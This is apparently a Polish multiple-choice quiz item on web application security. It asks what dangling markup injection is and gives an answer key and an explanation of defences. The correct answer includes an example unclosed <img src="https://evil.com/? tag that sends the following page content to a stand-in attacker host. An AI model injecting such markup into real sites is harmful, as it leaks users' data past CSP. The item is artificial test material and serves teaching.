Bezpieczeństwo aplikacji webowych · Senior · Pytanie 12 z 75
Czym jest dangling markup injection?
- 1Tagami HTML pozostawionymi w kodzie po refaktoryzacji
- 2Regułą CSS, która zawiesza przeglądarkę
- ✓Poprawna odpowiedź: Niezamknięty tag w rodzaju
<img src="https://evil.com/?przechwytuje dalszą treść strony do adresu URL i wycieka dane bez uruchamiania skryptu
Wyjaśnienie
Działa nawet wtedy, gdy CSP blokuje skrypty. Zapobiega temu kodowanie kontekstowe, a restrykcyjne img-src i form-action ograniczają skutki.